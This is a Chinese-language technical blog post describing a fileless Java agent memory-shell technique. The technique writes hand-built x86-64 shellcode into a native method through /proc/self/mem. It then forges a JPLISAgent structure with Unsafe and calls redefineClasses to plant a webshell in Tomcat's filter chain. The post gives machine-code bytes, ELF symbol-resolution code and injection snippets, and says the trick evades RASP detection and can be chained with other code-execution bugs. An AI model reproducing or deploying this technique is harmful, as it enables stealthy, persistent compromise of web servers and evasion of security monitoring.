agent内存马相比于FIlter、Servlet等内存马,不会产生新class,相对较隐蔽,通用性更强。
但传统的agent是基于jar文件实现的,本于复现了@rebeyond、@游忘之 提出的无文件注入agent内存马技术。
demo:
https://github.com/yaoyao-cool/no_file_agent_mem_shell
分析
一般的agent内存马,需要调用inst.redefineClasses。
sun.instrument.InstrumentationImpl#redefineClasses
sun.instrument.InstrumentationImpl#redefineClasses0
最终调用到这个native方法
1 | private native void redefineClasses0(long var1, ClassDefinition[] var3) throws ClassNotFoundException; |
根据方法名,从jdk源码中搜索该方法的具体实现
其中,从java传入的参数为agent和classes。
agent是一个_JPLISAgent
结构体的指针,classDefinitions就是存储class字节码的数组。
回到java中,这个指针是InstrumentationImpl类中的一个属性,所以理论上如果要直接调用redefineClasses
去修改类字节码的话,需要获取到_JPLISAgent
结构体的指针。
在使用jar包的方式注入内存马时,InstrumentationImpl对象是由JVM传进来的,这个_JPLISAgent
是设置好的,但是如果不使用jar包注入,需要手工去获取到这个指针。
跟进redefineClasses
首先将agent传入到一个宏中
1 | #define jvmti(a) a->mNormalEnvironment.mJVMTIEnv |
之后所有的操作,都是在从宏中返回的jvmtiEnv*
上操作的_JPLISAgent
1 | struct _JPLISAgent { |
宏中返回的是_jvmtiEnv
结构体
所以_JPLISAgent
在这里的作用就是获取_jvmtiEnv
JVM怎么创建_JPLISAgent
createNewJPLISAgent
1 | JPLISInitializationError |
通过createNewJPLISAgent方法可以获得JPLISAgent对象,但是该方法没有导出,不能从外部直接调用。
从该函数中发现,可以通过JavaVM获取jvmtienv。
1 | jnierror = (*vm)->GetEnv( vm, |
关于JavaVM对象,在jni.h中,定义了一个导出方法,在libjvm.so库中
1 | _JNI_IMPORT_OR_EXPORT_ jint JNICALL |
只要调用到这个方法,就可以获得JavaVM对象
通过JavaVM,获取jvmtienv指针。
在Java中,使用unsafe申请一块内存,作为_JPLISAgent结构体,并在相应的偏移上,放上jvmtienv指针。(这里在前面分析过了,_JPLISAgent
结构体的作用就是通过jvmti
宏获得jvmtienv
指针)
调用任意Native方法
这里涉及到另一个问题,怎么调用JNI_GetCreatedJavaVMs
方法。
在linux下,可以通过/proc/self/mem,访问当前进程空间的内存,并且具有完整的读写权限。
所以这里的思路是:
通过/proc/self/mem,修改任意一个返回类型为lone的native方法,即将shellcode写入到该方法的地址上,在java层调用这个native方法,即可触发构造的shellcode。
(这个思路不只用于写内存马,有很多利用场景,比如绕过rasp对某些敏感函数的检测)
在shellcode中:
写入调用JNI_GetCreatedJavaVMs方法的逻辑,并且使用返回的JavaVM对象,获取jvmtienv指针。
对应的C++代码为
1 | struct JavaVM_ * vm; |
构造shellcode
对应的汇编代码
1 | push rbp |
其中JNI_GetCreatedJavaVMs的地址,先用0x1234567890123456
替代,因为库的加载地址是不固定的,不同版本的库,函数偏移也可能不同。
根据前面的c++代码,JNI_GetCreatedJavaVMs的第一个参数,实际个两层的指针,但函数内部实际只解一层指针,所以这里rdi
直接指到了栈上,函数会把JavaVM的指针写到栈上。
1 | *vm_buf = (JavaVM *)(&main_vm); |
将上面的汇编代码编译成机器码
1 | 0x55,0x48,0x89,0xe5,0x48,0x83,0xec,0x20,0x48,0xb8,0x56,0x34,0x12,0x90,0x78,0x56,0x34,0x12,0x48,0x8d,0x7c,0x24,0x10,0xbe,0x01,0x00,0x00,0x00,0x48,0x8d,0x54,0x24,0x08,0xff,0xd0,0x48,0x8b,0x7c,0x24,0x10,0xba,0x00,0x02,0x01,0x30,0x48,0x8d,0x74,0x24,0x08,0x48,0x8b,0x07,0xff,0x50,0x30,0x48,0x8b,0x44,0x24,0x08,0x48,0x83,0xc4,0x20,0x5d,0xc3 |
其中的函数地址部分,待会需要抠出来替换为真正的函数地址。
因为要写shellcode到指定的函数地址上,所以首先要获取到函数在内存中的真实地址。
思路:
通过/proc/self/maps,获取到动态链接库的加载地址
通过java中提供的方法,获取到jdk的目录,解析jdk目录中的动态链接库符号表,获取函数的偏移
加载地址和函数偏移相加,得到真实地址。
实际要拿两个函数的地址,一个是JNI_GetCreatedJavaVMs
,一个是要被覆盖的native函数地址,最好是不常用的,避免程序崩溃,这里就以libjava.so中的Java_java_io_RandomAccessFile_length
为例。
解析elf
就是解析符号表,获取对应函数的偏移地址。
- 读取ELF Header,获取Section Header Table的地址
- 读取Section Header Table,得到符号表和符号表对应的字符表的地址
- 遍历符号表,根据每个符号的name 偏移,去字符表中找函数名
- 找到需要的函数名后,返回其在符号表中的地址。
完整代码
1 | public static long readElf(String libName,String sym,Long baseAddr) throws IOException { |
填充shellcode,写入内存
将JNI_GetCreatedJavaVMs
函数的地址填到shellcode中,并写入到Java_java_io_RandomAccessFile_length
的地址上。
手动调用RandomAccessFile.length,触发shellcode。
1 | String name = ManagementFactory.getRuntimeMXBean().getName(); |
调试一下,可以看到Java_java_io_RandomAccessFile_length函数的指令,已经替换成了写入的shellcode,正常执行后,返回了jvmtienv指针。
伪造JPLISAgent
使用Unsafe申请一段内存,在偏移为8的位置放置jvmtienv指针。其他的属性就不管了,因为没用到。
1 | Unsafe unsafe=null; |
注入webshell
反射创建一个InstrumentationImpl的实例,传入获取的指针。
查到要修改的class后,反射调用redefineClasses,写入提前准备好的字节码。
字节码可以在本地先用agent.jar打一个,然后dump下来,这里优先用低版本jdk环境,目标环境的java会向下兼容,避免字节码版本太高,跑不起来。
1 | try{ |
解决报错
redefinsCLasses时报错。
逆一下libjvm.so,(没找到这个函数的源码
这里的this就是jvmtienv指针,在361偏移上,需要为2
不同版本的偏移可能会不同,直接在360-400上全写为2,本地测试没有问题
(如果真实环境下,要谨慎操作,只写在361偏移上,或者有理论依据,保证写在某个范围上不会有影响,否则把其他指针覆盖了,程序会直接崩溃。
这里不好说,我不懂。
稳妥一点的话,先看jdk版本,本地测试该版本的偏移,或者从目标环境把libjvm.so拉下来逆向确定偏移,再打内存马)
1 | for (int i=360;i<400;i++){ |
测试
将注入shell的代码放在/agent
下,访问agent路由,会注册一个webshell到ApplicationFilterChain的doFilter下,此时访问任意路由,都可以触发写入的webshell
结合其他代码执行的漏洞,可无需上传jar包,直接注入agent内存马,